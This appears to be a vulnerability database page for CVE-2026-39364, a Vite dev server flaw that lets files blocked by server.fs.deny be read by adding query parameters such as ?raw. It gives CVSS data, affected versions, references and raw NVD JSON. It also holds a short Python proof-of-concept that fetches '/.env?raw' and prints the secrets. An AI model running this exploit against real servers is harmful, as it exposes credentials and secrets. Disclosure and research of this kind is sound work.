CVE-2026-39364

Description

Vite is a frontend tooling framework for JavaScript. From 7.1.0 to before 7.3.2 and 8.0.5, on the Vite dev server, files that should be blocked by server.fs.deny (e.g., .env, *.crt) can be retrieved with HTTP 200 responses when query parameters such as ?raw, ?import&raw, or ?import&url&inline are appended. This vulnerability is fixed in 7.3.2 and 8.0.5.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:voidzero:vite\+:*:*:*:*:*:node.js:*:* - VULNERABLE

Vite >= 7.1.0, < 7.3.2

Vite >= 8.0.0, < 8.0.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Proof of Concept for CVE-2026-39364
# Target: Vite Dev Server
# Description: Bypass server.fs.deny to retrieve sensitive files using query parameters.

def exploit(target_host):
    # Example sensitive file
    sensitive_file = ".env"
    # Payload using the vulnerable query parameter
    url = f"{target_host}/{sensitive_file}?raw"
    
    try:
        response = requests.get(url)
        if response.status_code == 200:
            print(f"[+] Vulnerability Confirmed!")
            print(f"[+] Content of {sensitive_file}:")
            print(response.text)
        else:
            print(f"[-] Exploit failed. Status code: {response.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

# Usage
# exploit("http://localhost:5173")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39364
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39364
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39364/
[4] VulDB https://vuldb.com/cve/CVE-2026-39364
[5] https://github.com/vitejs/vite/security/advisories/GHSA-v2wj-q39q-566r

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39364", "sourceIdentifier": "[email protected]", "published": "2026-04-07T20:16:30.170", "lastModified": "2026-04-30T18:34:57.303", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vite is a frontend tooling framework for JavaScript. From 7.1.0 to before 7.3.2 and 8.0.5, on the Vite dev server, files that should be blocked by server.fs.deny (e.g., .env, *.crt) can be retrieved with HTTP 200 responses when query parameters such as ?raw, ?import&raw, or ?import&url&inline are appended. This vulnerability is fixed in 7.3.2 and 8.0.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-180"}, {"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.3.1", "matchCriteriaId": "8D4169B2-49CC-4174-B1AB-2D61D3441617"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.0.4", "matchCriteriaId": "51F8A931-4520-4696-89C4-7F94228654F5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:voidzero:vite\\+:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "0.1.15", "matchCriteriaId": "6C271AE4-5F12-4689-A8A9-CBCBD3C447DC"}]}]}], "references": [{"url": "https://github.com/vitejs/vite/security/advisories/GHSA-v2wj-q39q-566r", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}